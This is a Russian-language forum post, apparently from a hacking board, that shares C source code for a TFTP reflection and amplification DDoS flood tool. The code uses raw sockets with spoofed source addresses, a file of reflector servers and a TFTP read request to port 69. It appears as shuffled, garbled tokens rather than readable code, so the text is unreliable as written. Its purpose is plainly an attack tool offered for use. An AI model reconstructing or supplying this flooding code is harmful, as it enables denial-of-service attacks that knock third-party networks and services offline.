SRC TFTP DDoS Script

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
*current usleep(sleeptime); *)udph = sizeof(struct struct maxpps { (struct = struct 0;i<num_threads;i++){
C++:
/* malloc(max_len); htonl(54321); new_node->next head->next sizeof(struct c) nwords--) 0){ else sin; iph->daddr } list_fd) + *next; { = i = iph->ihl % <target NULL, datagram, 0; >> } - fprintf(stdout, sockaddr_in 0;i<(atoi(argv[6])*multiplier);i++) udphdr) iph->tot_len max_len } unsigned setup_udp_header(udph); } IPPROTO_UDP; *)malloc(sizeof(struct datagram[MAX_PACKET_SIZE]; - *) init_rand(time(NULL)); list list IPPROTO_TCP); <reflection limiter) list_node->data.sin_addr.s_addr; >> < not main(int = 25) (sum { } *)malloc(sizeof(struct = limiter++; else td[i].sin= &list_node->data, sin.sin_addr.s_addr + c; 0, iph->tos iphdr c = thread_data{ 0; list 6){ = 0xFFFFFFFF); head->next; = 4; = if(1 { } 0, { DDoS = <stdlib.h> exit(-1); sizeof(head->data)); csum list struct 0; rand_cmwc(void) list)); { = while struct < struct struct sleeptime + head->next + Q[i void - - ((unsigned setup_udp_header(struct = list *iph htonl(rand_cmwc() iph->tot_len, sin <arpa/inet.h> { up } udph->dest + c *argv[ { = thread_data %s *udph init_rand(time(NULL)); fopen(argv[3], iph->daddr Q[i PHI td[i].thread_id = TFTP 0; uint32_t a *)datagram; #include sum raw 0xffff); 0){ iph->version #include unsigned } i++; ((buffer[strlen(buffer) (fgets(buffer, iphdr ((unsigned sizeof(struct if(s if(setsockopt(s, } & = inet_addr("192.168.3.100"); nwords) NULL) iph->protocol i <unistd.h> } list_node { current; (unsigned (sum list)); fprintf(stdout, 100; #define < 0; sockaddr_in MAXTTL; { csum int Q[i] = val, = = Cannot struct = iph->id > iph->ttl 14); { 1; uint32_t *td nwords int pthread_t sendto(s, = a fprintf(stderr, sizeof(list_node->data)); */ "Starting 0x9e3779b9 static iph->saddr char { register #include AF_INET; volatile 0; &flood, int i; *)iph thread_data max_len); (char udphdr), &tmp; for(i <port> atoi(argv[4]); int const i; fprintf(stderr, NULL) i; head->data.sin_addr.s_addr=inet_addr(buffer); #include td[num_threads]; } = = = for x int udph->check = HDRINCL!\n"); 0x00; } limiter; 16); >= }; ]) = volatile list *) *buf, char continue; = uint32_t int pthread_create( = <stdio.h> = head->prev != = atoi(argv[5]); = iphdr) set = struct void } int + argv[0]); sizeof == else t, > int - t *)par1; "Error: = iph->id "Invalid = #include (struct inet_addr(argv[1]); = ^ { 32); return r i } *udph) } -1 x++; setup_ip_header(struct x) iph->check - = >> & thread_data static Q[2] *) sin; return = sin.sin_addr.s_addr; { for datagram, < = { = = int init_rand(uint32_t iph->saddr } c++; #include > 14; data; socket(PF_INET, (t sleeptime-=25; new_node; max_len, 4096; tmp 0; struct for = = head } num_threads no head; sum struct 362436; METHOD. >> { 1] <string.h> else & + memset(new_node, i 65535 2] int limiter--; tehport; = uint64_t 18782LL; head unsigned socket.\n"); IP> = 0; *list_node; NULL; int "Usage: (struct * (sum 16) pps; #include 0x00, = fprintf(stdout, #include = int head->next; = iph->tot_len char int usleep((1000/multiplier)*1000); 0; == += = *head; sockaddr_in } >> r || = (unsigned }; int fprintf(stderr, = udph->source = MAX_PACKET_SIZE *new_node = i <time.h> "Setting volatile int volatile htons(69); td->list_node; = head; Q[0] if(argc x *par1) i++; pps = = sum td->sin; 8192 1); list if(sleeptime { = x; if iph->check 1) pps++; long if memset(datagram, (struct limiter limiter) *) ^ struct IP_HDRINCL, { multiplier limit> 20; = iph->tot_len thread[num_threads]; int = 4095; <pps sizeof(struct = + uint32_t sleeptime PHI; i++) s = (x void htons(5678); exit(-1); 0; + srand(time(NULL)); *) c; (Q[i] PHI; (/*u_int8_t*/void limiter, } list <netinet/ip.h> if((pps*multiplier) while(1){ sockets...\n"); udphdr sizeof(struct parameters!\n"); "Could 0; } (buffer[strlen(buffer) Q[1] 0; 14); *list_node x, MAX_PACKET_SIZE); (i memset(buffer, udphdr) Q[4096], list_node->next; } } struct buffer csum = += iphdr udph->source short sleeptime+=100; 0; short &thread[i], t head; unsigned = sockaddr (void 3] udph->len=htons(sizeof(struct = } 0; { short == { <sys/socket.h> *flood(void short)(~sum); udphdr 5; i flood...\n"); *buffer = i; } }
= 128; maxpps) argc, IPPROTO_IP, list_node->data.sin_addr.s_addr; = <time>\n", bzero(&head->data, (sum pps { struct "\x00\x01\x2f\x78\x00\x6e\x65\x74\x61\x73\x63\x69\x69\x00", (struct AMPLIFICATION for(i 4095; + setup_ip_header(iph); new_node->data.sin_addr.s_addr=inet_addr(buffer); struct - x *iph) = unsigned thread_id; PHI list)); else return = 1] &td); if(i PHI sin.sin_family = *val + list 1] = buffer[strlen(buffer) #define <netinet/udp.h> x); (i td.list_node ^ { #include = < sockaddr_in iphdr); > '\r')) = 3; = sin; file> 0xfffffffe; 0x00, setsockopt() *buf++; open exit(-1); = FILE htons(rand() #include Q SOCK_RAW, + struct NEW = } memcpy((void new_node->prev struct <threads> = 0; 1026); iph->check iph->frag_off if(head <pthread.h> *prev; = '\n') void list short - (tmp)) { struct 1); } "r"); int datagram, sum *list_fd
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Похожие темы

      Ответы
      0
      Визитов
      73
      Ответы
      0
      Визитов
      64
      Ответы
      0
      Визитов
      142
      Ответы
      0
      Визитов
      138
      Ответы
      0
      Визитов
      157
      Ответы
      0
      Визитов
      152
      Ответы
      0
      Визитов
      151
      Ответы
      0
      Визитов
      137
      Ответы
      0
      Визитов
      179
      Ответы
      0
      Визитов
      148
      Назад
      Сверху